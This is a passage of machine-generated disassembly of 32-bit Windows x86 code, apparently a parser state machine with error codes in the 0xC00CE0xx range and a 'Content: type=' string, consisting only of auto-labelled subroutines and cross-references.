cmp [ebp+var_1], bl
mov [edi+3Dh], bl
mov dword ptr [edi+70h], 5
jz short loc_69B8E6D2
push ebx
push esi
push 0C00CE028h
call sub_69B2F944
mov esi, eax
add esp, 0Ch
cmp esi, ebx
jz short loc_69B8E6D7
mov ecx, esi
call sub_69B2F43C
mov esi, eax
jmp short loc_69B8E6D7
; ---------------------------------------------------------------------------
loc_69B8E6D2: ; CODE XREF: sub_69B8E5B4+FCj
mov esi, offset off_69B1A5AC
loc_69B8E6D7: ; CODE XREF: sub_69B8E5B4+111j
; sub_69B8E5B4+11Cj
mov ecx, [ebp+arg_4]
mov eax, [ecx]
call dword ptr [eax+3Ch]
mov edx, [eax]
push ebx
push esi
mov ecx, eax
call dword ptr [edx+2Ch]
push eax
push 0C00CE009h
call sub_69B2F944
add esp, 10h
push eax
push [ebp+var_8]
mov ecx, edi
call sub_69B8D6C4
push [ebp+var_8]
push eax
call sub_69B2E8A2
loc_69B8E70A: ; CODE XREF: sub_69B8E5B4+6Aj
; sub_69B8E5B4+EDj
mov eax, [ebp+var_8]
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B8E5B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8E714 proc near ; DATA XREF: .text:69B149C8o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_10]
push ebx
push esi
mov esi, [eax]
xor ebx, ebx
cmp [esi+0Ch], ebx
push edi
mov edi, [ebp+arg_0]
mov [ebp+var_4], ebx
jnz short loc_69B8E730
inc dword ptr [edi+50h]
loc_69B8E730: ; CODE XREF: sub_69B8E714+17j
mov eax, [edi+70h]
sub eax, ebx
jz loc_69B8E902
dec eax
jz loc_69B8E89F
dec eax
dec eax
jz loc_69B8E7DA
dec eax
jz short loc_69B8E780
dec eax
jz short loc_69B8E766
dec eax
jnz loc_69B8E976
cmp dword ptr [esi+4], 11h
jz loc_69B8E90F
jmp loc_69B8E888
; ---------------------------------------------------------------------------
loc_69B8E766: ; CODE XREF: sub_69B8E714+3Aj
cmp dword ptr [esi+4], 2
jnz loc_69B8E888
mov byte ptr [edi+3Ch], 1
mov dword ptr [edi+70h], 6
jmp loc_69B8E888
; ---------------------------------------------------------------------------
loc_69B8E780: ; CODE XREF: sub_69B8E714+37j
mov eax, [esi+0Ch]
cmp eax, ebx
jnz short loc_69B8E794
mov ecx, [edi+54h]
inc ecx
cmp [edi+50h], ecx
jz short loc_69B8E79C
cmp eax, ebx
jz short loc_69B8E7AB
loc_69B8E794: ; CODE XREF: sub_69B8E714+71j
mov eax, [edi+50h]
cmp eax, [edi+54h]
jnz short loc_69B8E7AB
loc_69B8E79C: ; CODE XREF: sub_69B8E714+7Aj
mov eax, [edi+68h]
mov ecx, [edi+2Ch]
push eax
call sub_69B8C56F
mov [ebp+arg_8], eax
loc_69B8E7AB: ; CODE XREF: sub_69B8E714+7Ej
; sub_69B8E714+86j
cmp dword ptr [esi+4], 11h
jnz loc_69B8E888
mov eax, [esi+20h]
mov esi, [eax+8]
mov ecx, [edi+14h]
push ebx
push esi
call sub_69B8AFBA
xor ecx, ecx
mov cl, [edi+3Ch]
push ecx
mov ecx, [edi+14h]
push esi
push eax
call sub_69B8B4A5
jmp loc_69B8E888
; ---------------------------------------------------------------------------
loc_69B8E7DA: ; CODE XREF: sub_69B8E714+30j
mov eax, [esi+4]
cmp eax, 1Bh
jz loc_69B8E888
cmp eax, 2
jz short loc_69B8E7F0
cmp eax, 6
jnz short loc_69B8E7F4
loc_69B8E7F0: ; CODE XREF: sub_69B8E714+D5j
mov byte ptr [edi+3Ch], 1
loc_69B8E7F4: ; CODE XREF: sub_69B8E714+DAj
cmp [edi+50h], ebx
jnz short loc_69B8E7FF
mov eax, [edi+40h]
mov [ebp+arg_8], eax
loc_69B8E7FF: ; CODE XREF: sub_69B8E714+E3j
cmp dword ptr [esi+4], 16h
mov eax, [esi+20h]
jnz short loc_69B8E817
push dword ptr [eax+8]
mov ecx, edi
push [ebp+arg_4]
call sub_69B8E37A
jmp short loc_69B8E86D
; ---------------------------------------------------------------------------
loc_69B8E817: ; CODE XREF: sub_69B8E714+F2j
mov ecx, [esi+10h]
mov [ebp+arg_0], eax
mov eax, [esi+14h]
push eax
push ecx
call sub_69B190C1
mov ecx, [edi+7Ch]
lea ebx, [esi+1Ch]
push ebx
push [ebp+arg_0]
add ecx, edi
push eax
push dword ptr [esi+8]
push dword ptr [esi+4]
push [ebp+arg_8]
push [ebp+arg_4]
call dword ptr [edi+78h]
test eax, eax
mov [ebp+var_4], eax
jl loc_69B8E976
cmp byte ptr [edi+58h], 0
jz short loc_69B8E875
push [ebp+arg_10]
mov ecx, [edi+24h]
push [ebp+arg_C]
mov ecx, [ecx+10h]
mov eax, [edi+10h]
mov edx, [eax]
push ecx
push [ebp+arg_4]
push eax
call dword ptr [edx+1Ch]
loc_69B8E86D: ; CODE XREF: sub_69B8E714+101j
; sub_69B8E714+189j
mov [ebp+var_4], eax
jmp loc_69B8E976
; ---------------------------------------------------------------------------
loc_69B8E875: ; CODE XREF: sub_69B8E714+13Ej
cmp byte ptr [edi+60h], 0
jz loc_69B8E976
cmp dword ptr [ebx], 0
jnz loc_69B8E976
loc_69B8E888: ; CODE XREF: sub_69B8E714+4Dj
; sub_69B8E714+56j ...
push [ebp+arg_10]
mov edi, [edi+10h]
push [ebp+arg_C]
mov eax, [edi]
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call dword ptr [eax+1Ch]
jmp short loc_69B8E86D
; ---------------------------------------------------------------------------
loc_69B8E89F: ; CODE XREF: sub_69B8E714+28j
mov eax, [esi+4]
cmp eax, 6
jnz short loc_69B8E8AF
mov eax, [esi+8]
mov [edi+5Ch], eax
jmp short loc_69B8E888
; ---------------------------------------------------------------------------
loc_69B8E8AF: ; CODE XREF: sub_69B8E714+191j
cmp eax, 0Dh
jnz short loc_69B8E888
cmp dword ptr [edi+5Ch], 22h
jnz short loc_69B8E8D3
mov eax, [esi+14h]
mov esi, [esi+10h]
push eax
push esi
call sub_69B190C1
push eax
lea eax, [edi+18h]
push eax
call sub_69B17320
jmp short loc_69B8E888
; ---------------------------------------------------------------------------
loc_69B8E8D3: ; CODE XREF: sub_69B8E714+1A4j
push dword ptr [esi+14h]
push dword ptr [esi+10h]
call sub_69B31B27
test al, al
jnz short loc_69B8E888
mov eax, [esi+14h]
mov esi, [esi+10h]
push ebx
push eax
push esi
call sub_69B190C1
push eax
mov eax, 0C00CE025h
push eax
push eax
call sub_69B2E9D0
add esp, 10h
jmp short loc_69B8E888
; ---------------------------------------------------------------------------
loc_69B8E902: ; CODE XREF: sub_69B8E714+21j
mov eax, [esi+4]
cmp eax, 5
jz short loc_69B8E92B
cmp eax, 11h
jnz short loc_69B8E948
loc_69B8E90F: ; CODE XREF: sub_69B8E714+47j
cmp [esi+0Ch], ebx
jz short loc_69B8E948
mov ecx, [edi+14h]
xor eax, eax
mov al, [edi+3Ch]
push eax
mov eax, [esi+20h]
push ebx
push dword ptr [eax+8]
call sub_69B8C45B
jmp short loc_69B8E948
; ---------------------------------------------------------------------------
loc_69B8E92B: ; CODE XREF: sub_69B8E714+1F4j
mov eax, [edi+14h]
mov byte ptr [eax+2Ch], 1
mov eax, [edi+14h]
push dword ptr [esi+20h]
add eax, 5Ch
push eax
call sub_69B17320
mov dword ptr [edi+70h], 1
loc_69B8E948: ; CODE XREF: sub_69B8E714+1F9j
; sub_69B8E714+1FEj ...
push [ebp+arg_10]
mov eax, [edi+10h]
push [ebp+arg_C]
mov ecx, [eax]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call dword ptr [ecx+1Ch]
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_69B8E976
cmp dword ptr [esi+4], 5
jnz short loc_69B8E976
push dword ptr [esi+1Ch]
add edi, 40h
push edi
call sub_69B17320
loc_69B8E976: ; CODE XREF: sub_69B8E714+3Dj
; sub_69B8E714+134j ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn 14h
sub_69B8E714 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8E980 proc near ; DATA XREF: sub_69B8EC68+10o
; sub_69B8EE33:loc_69B8EF4Do ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_8]
sub eax, 7
push ebx
push esi
push edi
mov esi, ecx
jz loc_69B8EB27
dec eax
jz loc_69B8EA98
dec eax
jz loc_69B8EA57
dec eax
jnz loc_69B8EBE1
mov eax, [ebp+arg_14]
mov ecx, [eax+8]
mov eax, [esi+14h]
mov eax, [eax+50h]
xor ebx, ebx
cmp eax, ebx
mov [ebp+arg_8], ecx
jnz short loc_69B8E9C3
xor eax, eax
jmp short loc_69B8E9CB
; ---------------------------------------------------------------------------
loc_69B8E9C3: ; CODE XREF: sub_69B8E980+3Dj
push ecx
mov ecx, eax
call sub_69B1980A
loc_69B8E9CB: ; CODE XREF: sub_69B8E980+41j
push eax
lea edi, [esi+38h]
push edi
call sub_69B17320
cmp [edi], ebx
jz short loc_69B8E9F2
mov ecx, [ebp+arg_14]
mov eax, [ecx]
push ebx
call dword ptr [eax+2Ch]
push eax
mov eax, 0C00CE01Ah
push eax
push eax
call sub_69B2E9D0
add esp, 10h
loc_69B8E9F2: ; CODE XREF: sub_69B8E980+57j
push 1Ch
call sub_69B17EF3
cmp eax, ebx
jz short loc_69B8EA09
push [ebp+arg_8]
mov ecx, eax
call sub_69B16F00
jmp short loc_69B8EA0B
; ---------------------------------------------------------------------------
loc_69B8EA09: ; CODE XREF: sub_69B8E980+7Bj
xor eax, eax
loc_69B8EA0B: ; CODE XREF: sub_69B8E980+87j
push eax
push edi
call sub_69B17320
push dword ptr [edi]
mov ecx, [esi+14h]
call sub_69B8B546
push [ebp+arg_18]
push [ebp+arg_14]
push ebx
push ebx
push ebx
push ebx
push ebx
push 0Ah
push dword ptr [esi+40h]
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_69B8D750
mov eax, [ebp+arg_18]
mov ecx, [edi]
mov byte ptr [esi+60h], 1
push dword ptr [eax]
call sub_69B8CC5D
mov eax, offset sub_69B8DC6E
mov [esi+78h], eax
mov [esi+7Ch], ebx
jmp loc_69B8EBE1
; ---------------------------------------------------------------------------
loc_69B8EA57: ; CODE XREF: sub_69B8E980+1Dj
mov eax, [esi+14h]
mov eax, [eax+48h]
test eax, eax
mov ebx, [ebp+arg_14]
mov ecx, [ebx+8]
jz short loc_69B8EA6F
push ecx
mov ecx, eax
call sub_69B1980A
loc_69B8EA6F: ; CODE XREF: sub_69B8E980+E5j
push eax
lea edi, [esi+30h]
push edi
call sub_69B17320
cmp dword ptr [edi], 0
jnz short loc_69B8EA8E
mov ecx, [esi+14h]
push ebx
call sub_69B8B707
push eax
push edi
call sub_69B17320
loc_69B8EA8E: ; CODE XREF: sub_69B8E980+FCj
mov eax, offset sub_69B8DCB5
jmp loc_69B8EB1A
; ---------------------------------------------------------------------------
loc_69B8EA98: ; CODE XREF: sub_69B8E980+16j
mov eax, [esi+14h]
mov eax, [eax+48h]
test eax, eax
mov ebx, [ebp+arg_14]
mov ecx, [ebx+8]
jz short loc_69B8EAB0
push ecx
mov ecx, eax
call sub_69B1980A
loc_69B8EAB0: ; CODE XREF: sub_69B8E980+126j
push eax
lea edi, [esi+30h]
push edi
call sub_69B17320
cmp dword ptr [edi], 0
jz short loc_69B8EADA
mov eax, [ebx]
push 0
mov ecx, ebx
call dword ptr [eax+2Ch]
push eax
mov eax, 0C00CE01Bh
push eax
push eax
call sub_69B2E9D0
add esp, 10h
jmp short loc_69B8EAEA
; ---------------------------------------------------------------------------
loc_69B8EADA: ; CODE XREF: sub_69B8E980+13Dj
mov ecx, [esi+14h]
push ebx
call sub_69B8B6C8
push eax
push edi
call sub_69B17320
loc_69B8EAEA: ; CODE XREF: sub_69B8E980+158j
mov ecx, [edi]
call sub_69B5AF99
mov ebx, eax
mov ecx, ebx
call sub_69B8F567
mov byte ptr [ebx+28h], 2
mov ecx, [esi+14h]
push 0
push dword ptr [edi]
mov byte ptr [esi+34h], 1
call sub_69B8B4EF
mov eax, [esi+14h]
mov byte ptr [eax+2Dh], 1
mov eax, offset sub_69B8DBA2
loc_69B8EB1A: ; CODE XREF: sub_69B8E980+113j
xor ecx, ecx
mov [esi+78h], eax
mov [esi+7Ch], ecx
jmp loc_69B8EBE1
; ---------------------------------------------------------------------------
loc_69B8EB27: ; CODE XREF: sub_69B8E980+Fj
mov eax, [ebp+arg_14]
mov edi, [eax+8]
cmp [ebp+arg_C], 31h
push 34h
mov [ebp+arg_8], edi
setz byte ptr [ebp+arg_C]
call sub_69B17EF3
test eax, eax
jz short loc_69B8EB50
push [ebp+arg_C]
mov ecx, eax
push edi
call sub_69B16E78
jmp short loc_69B8EB52
; ---------------------------------------------------------------------------
loc_69B8EB50: ; CODE XREF: sub_69B8E980+1C1j
xor eax, eax
loc_69B8EB52: ; CODE XREF: sub_69B8E980+1CEj
push eax
lea edi, [esi+2Ch]
push edi
call sub_69B17320
mov eax, [edi]
mov ebx, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebx]
push ebx
call dword ptr [eax+1Ch]
push eax
mov eax, [ebx]
push ebx
call dword ptr [eax+18h]
mov ecx, [ebp+var_4]
push eax
call sub_69B8C548
push [ebp+arg_14]
lea eax, [esi+64h]
push eax
call sub_69B17320
push [ebp+arg_C]
xor ecx, ecx
push [ebp+arg_8]
mov eax, offset sub_69B8E4C4
mov [esi+7Ch], ecx
mov ecx, [esi+14h]
mov [esi+78h], eax
call sub_69B8AFBA
test eax, eax
jnz short loc_69B8EBAF
push dword ptr [edi]
mov ecx, [esi+14h]
call sub_69B8B462
loc_69B8EBAF: ; CODE XREF: sub_69B8E980+223j
cmp byte ptr [ebp+arg_C], 0
jnz short loc_69B8EBE1
push [ebp+arg_18]
xor eax, eax
push [ebp+arg_14]
push eax
push eax
push eax
push eax
push 1
push 7
push dword ptr [esi+40h]
push ebx
push dword ptr [esi+10h]
call sub_69B8D750
mov eax, [ebp+arg_18]
push dword ptr [eax]
mov ecx, [edi]
call sub_69B8C559
mov byte ptr [esi+60h], 1
loc_69B8EBE1: ; CODE XREF: sub_69B8E980+24j
; sub_69B8E980+D2j ...
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 1Ch
sub_69B8E980 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B8EBEA(LPCWSTR lpString)
sub_69B8EBEA proc near ; CODE XREF: sub_69B8ECE6+77p
; sub_69B8ECE6+C2p
lpString = dword ptr 4
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp [esi+48h], ebx
jz short loc_69B8EC61
push edi
loc_69B8EBF6: ; CODE XREF: sub_69B8EBEA+69j
mov ecx, [esi+48h]
mov eax, [ecx]
call dword ptr [eax+38h]
test al, al
jz short loc_69B8EC55
mov ecx, [esi+48h]
mov eax, [ecx]
call dword ptr [eax+40h]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+10h]
push eax
lea edi, [esi+2Ch]
push edi
call sub_69B17320
mov edi, [edi]
cmp dword ptr [edi+20h], 0
jnz short loc_69B8EC45
mov eax, [edi+30h]
shr eax, 3
test al, 1
jnz short loc_69B8EC45
push edi ; int
push [esp+10h+lpString] ; lpString
mov ecx, esi
call sub_69B8E5B4
mov ebx, eax
test ebx, ebx
jl short loc_69B8EC60
cmp byte ptr [esi+3Dh], 0
jnz short loc_69B8EC60
loc_69B8EC45: ; CODE XREF: sub_69B8EBEA+37j
; sub_69B8EBEA+41j
push dword ptr [esi+68h]
mov ecx, edi
call sub_69B8C56F
or byte ptr [eax+0Ah], 1
jmp short loc_69B8EBF6
; ---------------------------------------------------------------------------
loc_69B8EC55: ; CODE XREF: sub_69B8EBEA+16j
push 0
add esi, 2Ch
push esi
call sub_69B17320
loc_69B8EC60: ; CODE XREF: sub_69B8EBEA+53j
; sub_69B8EBEA+59j
pop edi
loc_69B8EC61: ; CODE XREF: sub_69B8EBEA+9j
pop esi
mov eax, ebx
pop ebx
retn 4
sub_69B8EBEA endp
; =============== S U B R O U T I N E =======================================
sub_69B8EC68 proc near ; CODE XREF: sub_69B8ECE6+123p
; sub_69B8F007+44p
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push ebx
lea eax, [esi+24h]
push eax
call sub_69B17320
mov eax, offset sub_69B8E980
mov [esi+78h], eax
push ebx
lea eax, [esi+2Ch]
xor ecx, ecx
push eax
mov [esi+1Ch], ebx
mov [esi+7Ch], ecx
call sub_69B17320
push ebx
lea eax, [esi+30h]
push eax
call sub_69B17320
push ebx
lea eax, [esi+38h]
push eax
call sub_69B17320
push ebx
lea eax, [esi+40h]
push eax
mov [esi+3Ch], bl
mov [esi+3Dh], bl
call sub_69B17320
push ebx
lea eax, [esi+48h]
push eax
call sub_69B17320
push ebx
lea eax, [esi+4Ch]
push eax
call sub_69B17320
mov [esi+34h], bl
mov [esi+58h], bl
mov [esi+70h], ebx
mov [esi+5Ch], ebx
mov [esi+60h], bl
push ebx
add esi, 64h
push esi
call sub_69B17320
pop esi
pop ebx
retn
sub_69B8EC68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B8ECE6(int, LPCWSTR lpString, int)
sub_69B8ECE6 proc near ; DATA XREF: .text:69B149B8o
arg_0 = dword ptr 8
lpString = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_8]
push ebx
push esi
mov esi, [ebp+arg_0]
xor ebx, ebx
sub eax, ebx
push edi
jz loc_69B8EE07
dec eax
jz loc_69B8EDFB
dec eax
jz loc_69B8EDED
dec eax
jz loc_69B8EDFB
dec eax
jz loc_69B8EDED
dec eax
jz short loc_69B8ED7B
dec eax
dec eax
jnz loc_69B8EE0E
lea edi, [esi+2Ch]
mov ecx, [edi]
cmp ecx, ebx
mov [esi+3Dh], bl
mov dword ptr [esi+70h], 5
jz short loc_69B8ED6A
push dword ptr [esi+68h]
call sub_69B8C56F
cmp eax, ebx
jz short loc_69B8ED6A
or byte ptr [eax+0Ah], 1
push 1
push 1
mov ecx, eax
call sub_69B49321
push ebx
push edi
call sub_69B17320
push [ebp+lpString] ; lpString
mov ecx, esi
call sub_69B8EBEA
cmp eax, ebx
jl loc_69B8EE2C
loc_69B8ED6A: ; CODE XREF: sub_69B8ECE6+4Ej
; sub_69B8ECE6+5Aj
push 5
pop eax
cmp [esi+70h], eax
jnz loc_69B8EE0E
mov [ebp+arg_8], eax
jmp short loc_69B8EDC3
; ---------------------------------------------------------------------------
loc_69B8ED7B: ; CODE XREF: sub_69B8ECE6+33j
mov ecx, [esi+14h]
call sub_69B8B602
cmp [esi+1Ch], ebx
jnz short loc_69B8EDB1
cmp [esi+3Dh], bl
jnz short loc_69B8EDB1
mov ecx, [esi+14h]
push ebx
call sub_69B8AFE1
push eax
lea eax, [esi+48h]
push eax
call sub_69B17320
push [ebp+lpString] ; lpString
mov ecx, esi
mov [esi+3Dh], bl
call sub_69B8EBEA
cmp eax, ebx
jl short loc_69B8EE2C
loc_69B8EDB1: ; CODE XREF: sub_69B8ECE6+A0j
; sub_69B8ECE6+A5j
cmp [esi+70h], ebx
jnz short loc_69B8EDBD
mov dword ptr [esi+70h], 2
loc_69B8EDBD: ; CODE XREF: sub_69B8ECE6+CEj
cmp dword ptr [esi+70h], 4
jz short loc_69B8EE29
loc_69B8EDC3: ; CODE XREF: sub_69B8ECE6+93j
mov ecx, esi
call sub_69B8D85E
mov ecx, esi
call sub_69B8D899
cmp eax, ebx
jl short loc_69B8EE2C
mov eax, [esi+14h]
cmp [eax+2Eh], bl
jz short loc_69B8EDE4
mov ecx, esi
call sub_69B8DF85
loc_69B8EDE4: ; CODE XREF: sub_69B8ECE6+F5j
mov eax, [esi+40h]
or byte ptr [eax+0Ah], 1
jmp short loc_69B8EE0E
; ---------------------------------------------------------------------------
loc_69B8EDED: ; CODE XREF: sub_69B8ECE6+1Ej
; sub_69B8ECE6+2Cj
dec dword ptr [esi+1Ch]
jnz short loc_69B8EE0E
mov dword ptr [esi+70h], 5
jmp short loc_69B8EE0E
; ---------------------------------------------------------------------------
loc_69B8EDFB: ; CODE XREF: sub_69B8ECE6+17j
; sub_69B8ECE6+25j
inc dword ptr [esi+1Ch]
mov dword ptr [esi+70h], 3
jmp short loc_69B8EE0E
; ---------------------------------------------------------------------------
loc_69B8EE07: ; CODE XREF: sub_69B8ECE6+10j
mov ecx, esi
call sub_69B8EC68
loc_69B8EE0E: ; CODE XREF: sub_69B8ECE6+37j
; sub_69B8ECE6+8Aj ...
push [ebp+arg_8]
mov eax, [esi+10h]
push [ebp+lpString]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
cmp [ebp+arg_8], 7
jnz short loc_69B8EE2C
cmp dword ptr [esi+70h], 4
jnz short loc_69B8EE2C
loc_69B8EE29: ; CODE XREF: sub_69B8ECE6+DBj
xor eax, eax
inc eax
loc_69B8EE2C: ; CODE XREF: sub_69B8ECE6+7Ej
; sub_69B8ECE6+C9j ...
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_69B8ECE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8EE33 proc near ; DATA XREF: .text:69B149C0o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_C]
push esi
mov esi, [ebp+arg_0]
push edi
xor edi, edi
dec dword ptr [esi+50h]
mov edx, [eax+4]
mov eax, [esi+70h]
cmp eax, edi
mov [ebp+var_4], edi
jl loc_69B8EFFE
xor ecx, ecx
inc ecx
cmp eax, ecx
push ebx
jle loc_69B8EF7B
cmp eax, 2
jz loc_69B8EFE8
cmp eax, 3
jz short loc_69B8EEA4
cmp eax, 4
jz loc_69B8EFE8
push 5
pop ecx
cmp eax, ecx
jz short loc_69B8EE8C
cmp eax, 6
jnz loc_69B8EFFD
mov [esi+70h], ecx
loc_69B8EE8C: ; CODE XREF: sub_69B8EE33+4Bj
sub edx, ecx
jz loc_69B8EF82
dec edx
jnz loc_69B8EFE8
mov byte ptr [esi+3Ch], 0
jmp loc_69B8EFE8
; ---------------------------------------------------------------------------
loc_69B8EEA4: ; CODE XREF: sub_69B8EE33+3Bj
cmp edx, 6
jnz short loc_69B8EEBC
cmp byte ptr [esi+60h], 0
mov byte ptr [esi+3Ch], 0
jz loc_69B8EFFD
jmp loc_69B8EFE8
; ---------------------------------------------------------------------------
loc_69B8EEBC: ; CODE XREF: sub_69B8EE33+74j
cmp edx, 0Bh
jnz short loc_69B8EEDF
cmp byte ptr [esi+34h], 0
jz short loc_69B8EED7
mov eax, [esi+30h]
mov ecx, [eax+2Ch]
call sub_69B8F5A8
jmp loc_69B8EFFD
; ---------------------------------------------------------------------------
loc_69B8EED7: ; CODE XREF: sub_69B8EE33+92j
mov [esi+44h], ecx
jmp loc_69B8EFFD
; ---------------------------------------------------------------------------
loc_69B8EEDF: ; CODE XREF: sub_69B8EE33+8Cj
push 5
pop ecx
cmp edx, ecx
jz loc_69B8EF82
cmp edx, 8
jnz short loc_69B8EF10
lea ebx, [esi+30h]
mov eax, [ebx]
mov ecx, [eax+2Ch]
call sub_69B8FBCF
push edi
push ebx
mov byte ptr [esi+34h], 0
call sub_69B17320
mov eax, [esi+14h]
mov byte ptr [eax+2Dh], 0
jmp short loc_69B8EF25
; ---------------------------------------------------------------------------
loc_69B8EF10: ; CODE XREF: sub_69B8EE33+BAj
cmp edx, 9
jnz short loc_69B8EF25
mov ecx, [esi+24h]
cmp ecx, edi
jz short loc_69B8EF25
push edi
push dword ptr [esi+30h]
call sub_69B8CDCB
loc_69B8EF25: ; CODE XREF: sub_69B8EE33+DBj
; sub_69B8EE33+E0j ...
cmp byte ptr [esi+58h], 0
jz short loc_69B8EF62
push edi
push edi
push 2
lea ebx, [esi+24h]
mov eax, [ebx]
mov byte ptr [esi+58h], 0
push dword ptr [eax+10h]
push [ebp+arg_4]
push dword ptr [esi+10h]
call sub_69B8D7E7
push edi
push ebx
call sub_69B17320
loc_69B8EF4D: ; CODE XREF: sub_69B8EE33+133j
mov eax, offset sub_69B8E980
xor ecx, ecx
mov [esi+78h], eax
mov [esi+7Ch], ecx
mov [esi+5Ch], edi
jmp loc_69B8EFFD
; ---------------------------------------------------------------------------
loc_69B8EF62: ; CODE XREF: sub_69B8EE33+F6j
cmp byte ptr [esi+60h], 0
jz short loc_69B8EF4D
mov eax, offset sub_69B8E980
xor ecx, ecx
mov byte ptr [esi+60h], 0
mov [esi+78h], eax
mov [esi+7Ch], ecx
jmp short loc_69B8EFE8
; ---------------------------------------------------------------------------
loc_69B8EF7B: ; CODE XREF: sub_69B8EE33+29j
push 5
pop ecx
cmp edx, ecx
jnz short loc_69B8EFE8
loc_69B8EF82: ; CODE XREF: sub_69B8EE33+5Bj
; sub_69B8EE33+B1j
lea ebx, [esi+18h]
cmp [ebx], edi
mov [esi+70h], ecx
mov [esi+5Ch], edi
jz short loc_69B8EFE1
mov eax, [esi+68h]
cmp byte ptr [eax+83h], 0
jz short loc_69B8EFE1
lea ecx, [ebp+arg_0]
push ecx
lea ecx, [ebp+var_8]
push ecx
push eax
push [ebp+arg_4]
mov [ebp+arg_0], edi
call sub_69B8D901
push [ebp+arg_4]
call sub_69B8D688
mov edi, eax
mov eax, [ebx]
mov eax, [eax+0Ch]
mov ecx, [edi]
push eax
push [ebp+var_8]
push edi
call dword ptr [ecx+48h]
mov [ebp+var_4], eax
mov eax, [edi]
push edi
call dword ptr [eax+8]
push [ebp+arg_0]
call sub_69B1B2B7
cmp [ebp+var_4], 0
jl short loc_69B8EFFD
xor edi, edi
loc_69B8EFE1: ; CODE XREF: sub_69B8EE33+15Aj
; sub_69B8EE33+166j
push edi
push ebx
call sub_69B17320
loc_69B8EFE8: ; CODE XREF: sub_69B8EE33+32j
; sub_69B8EE33+40j ...
push [ebp+arg_C]
mov esi, [esi+10h]
push [ebp+arg_8]
mov eax, [esi]
push [ebp+arg_4]
push esi
call dword ptr [eax+14h]
mov [ebp+var_4], eax
loc_69B8EFFD: ; CODE XREF: sub_69B8EE33+50j
; sub_69B8EE33+7Ej ...
pop ebx
loc_69B8EFFE: ; CODE XREF: sub_69B8EE33+1Dj
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn 10h
sub_69B8EE33 endp
; =============== S U B R O U T I N E =======================================
sub_69B8F007 proc near ; CODE XREF: sub_69B4FDBC+25Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
mov esi, ecx
call sub_69B4E24E
mov dword ptr [esi], offset off_69B149AC
mov dword ptr [esi+4], offset off_69B2B1F8
xor edi, edi
lea ebx, [esi+10h]
mov [ebx], edi
mov [esi+14h], edi
mov [esi+18h], edi
mov [esi+24h], edi
mov [esi+2Ch], edi
mov [esi+30h], edi
mov [esi+38h], edi
mov [esi+40h], edi
mov [esi+48h], edi
mov [esi+4Ch], edi
mov [esi+64h], edi
mov [esi+68h], edi
mov ecx, esi
mov [esi+6Ch], edi
call sub_69B8EC68
push [esp+0Ch+arg_0]
push ebx
call sub_69B17320
push [esp+0Ch+arg_4]
lea eax, [esi+14h]
push eax
call sub_69B17320
mov ebx, [esp+0Ch+arg_8]
push ebx
lea eax, [esi+68h]
push eax
call sub_69B2DEB2
push dword ptr [ebx+70h]
lea eax, [esi+6Ch]
push eax
call sub_69B17320
mov [esi+50h], edi
pop edi
mov eax, esi
pop esi
pop ebx
retn 0Ch
sub_69B8F007 endp
; =============== S U B R O U T I N E =======================================
sub_69B8F08C proc near ; DATA XREF: .text:69B170FCo
mov eax, offset off_69B8F094
retn
sub_69B8F08C endp
; ---------------------------------------------------------------------------
align 4
off_69B8F094 dd offset off_69B8F09C ; DATA XREF: sub_69B8F08Co
dd 0
off_69B8F09C dd offset dword_69B18894 ; DATA XREF: .text:off_69B8F094o
; .text:off_69B8F0ACo
dd 0
; =============== S U B R O U T I N E =======================================
sub_69B8F0A4 proc near ; DATA XREF: .text:69B17034o
mov eax, offset off_69B8F0AC
retn
sub_69B8F0A4 endp
; ---------------------------------------------------------------------------
align 4
off_69B8F0AC dd offset off_69B8F09C ; DATA XREF: sub_69B8F0A4o
dd 0
; =============== S U B R O U T I N E =======================================
sub_69B8F0B4 proc near ; DATA XREF: .text:69B16FC8o
push 0
push 0
push offset off_69B8F0C8
call sub_69B2F2CA
add esp, 0Ch
retn
sub_69B8F0B4 endp
; ---------------------------------------------------------------------------
align 4
off_69B8F0C8 dd offset off_69B17D10 ; DATA XREF: sub_69B8F0B4+4o
align 10h
dd 0Eh
dd offset aContentType_0 ; "Content: type="
aContentType_0: ; DATA XREF: .text:69B8F0D4o
unicode 0, <Content: type=>,0
align 4
; =============== S U B R O U T I N E =======================================
sub_69B8F0F8 proc near ; CODE XREF: sub_69B5C3BA+40p
; sub_69B5C589+5Fp ...
mov ecx, [ecx+2Ch]
mov eax, [ecx]
push 0
call dword ptr [eax+4Ch]
retn
sub_69B8F0F8 endp
; =============== S U B R O U T I N E =======================================
sub_69B8F103 proc near ; CODE XREF: sub_69B8F103+63p
; sub_69B8F103+77p ...
